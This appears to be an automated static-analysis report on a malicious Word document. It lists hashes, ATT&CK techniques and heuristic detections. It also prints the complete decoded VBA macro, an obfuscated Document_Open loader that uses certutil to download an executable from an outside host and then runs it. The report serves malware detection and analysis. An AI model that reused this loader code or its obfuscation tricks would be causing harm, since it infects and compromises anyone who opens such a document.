Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7d384a7938ea09e1…

MALICIOUS

Office (OLE)

711.5 KB Created: 2020-03-27 15:26:00 Authoring application: Microsoft Office Word First seen: 2020-09-15
MD5: 8a32ebcb37b57b9a5b7d8280545b11e3 SHA-1: 682ad27274ef8ba4e6da25fbb8a8e9795e5a389e SHA-256: 7d384a7938ea09e11af47e3b69e53fbdd3947838148979f3235d6f14d0bad481
378 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1218.005 System Binary Proxy Execution: Signed Binary Proxy Execution T1105 Ingress Tool Transfer T1071.001 Web Protocols: Web Protocols

The Document_Open macro uses WScript.Shell to execute certutil.exe to download a second-stage executable from http://wsowhflreg4718182-com.preview-domain.com/reg47181822.exe and save it as hustoypc134i.exe. It then executes the downloaded file. The use of certutil for downloading and WScript.Shell for execution are critical findings.

Heuristics 11

  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("hustoypc134i.txt", "txt", "exe")
Set dfliigh = CreateObject("WScript.Shell")
dfliigh.Run (Replace("xxxe -urlcache -split -f ", "xx", "certutil.e") & ytnrbhh & " " & trfutyjnih), Replace("0500", "500", ""), Replace("500Fa500lse500", "500", "")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set dfliigh = CreateObject("WScript.Shell")
dfliigh.Run (Replace("xxxe -urlcache -split -f ", "xx", "certutil.e") & ytnrbhh & " " & trfutyjnih), Replace("0500", "500", ""), Replace("500Fa500lse500", "500", "")
delay (12)
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("hustoypc134i.txt", "txt", "exe")
Set dfliigh = CreateObject("WScript.Shell")
dfliigh.Run (Replace("xxxe -urlcache -split -f ", "xx", "certutil.e") & ytnrbhh & " " & trfutyjnih), Replace("0500", "500", ""), Replace("500Fa500lse500", "500", "")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("hustoypc134i.txt", "txt", "exe")
Set dfliigh = CreateObject("WScript.Shell")
dfliigh.Run (Replace("xxxe -urlcache -split -f ", "xx", "certutil.e") & ytnrbhh & " " & trfutyjnih), Replace("0500", "500", ""), Replace("500Fa500lse500", "500", "")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
rtubrhd = Replace(("wsowhflreg4718182-com.preview-domain.com/reg47181822.txt"), "txt", "exe")
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    ytnrbhh = Replace(rtubrhd, "wsowhfl", "http://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("hustoypc134i.txt", "txt", "exe")
Set dfliigh = CreateObject("WScript.Shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to certutil (download/decode) high SC_STR_CERTUTIL
    Reference to certutil (download/decode)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1018 bytes
SHA-256: 885db0a48a20418b3366118ca34958a3584dbf4af93cd596f0b770a9df431a81
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
rtubrhd = Replace(("wsowhflreg4718182-com.preview-domain.com/reg47181822.txt"), "txt", "exe")
ytnrbhh = Replace(rtubrhd, "wsowhfl", "http://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("hustoypc134i.txt", "txt", "exe")
Set dfliigh = CreateObject("WScript.Shell")
dfliigh.Run (Replace("xxxe -urlcache -split -f ", "xx", "certutil.e") & ytnrbhh & " " & trfutyjnih), Replace("0500", "500", ""), Replace("500Fa500lse500", "500", "")
delay (12)
dfliigh.Run (trfutyjnih)
End Sub



Sub delay(sec)
    Dim temp
    temp = Timer
    Do While Timer - temp < sec
    Loop
End Sub

Attribute VB_Name = "NewMacros"
Sub sdsd()
'
' sdsd Ìàêðîñ
'
'

End Sub

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